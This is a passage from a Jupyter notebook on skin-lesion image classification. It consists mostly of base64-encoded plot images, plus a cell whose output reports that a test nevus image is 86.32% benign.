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", + "text/plain": [ + "
" + ] + }, + "metadata": { + "needs_background": "light" + }, + "output_type": "display_data" + } + ], + "source": [ + "predict_image_class(\"data/test/nevus/ISIC_0012092.jpg\", m)" + ] + }, + { + "cell_type": "code", + "execution_count": 38, + "metadata": { + "colab": { + "base_uri": "https://localhost:8080/", + "height": 355 + }, + "id": "QXjc_iC11WMT", + "outputId": "531914e5-d3c1-408f-d984-301a60a77925" + }, + "outputs": [ + { + "name": "stdout", + "output_type": "stream", + "text": [ + "1/1 [==============================] - 0s 26ms/step\n" + ] + }, + { + "name": "stderr", + "output_type": "stream", + "text": [ + "WARNING:matplotlib.image:Clipping input data to the valid range for imshow with RGB data ([0..1] for floats or [0..255] for integers).\n" + ] + }, + { + "name": "stdout", + "output_type": "stream", + "text": [ + "[[0.13682997]]\n", + "0.13682997\n", + "This image is 86.32% benign.\n" + ] + }, + { + "data": { + "image/png": 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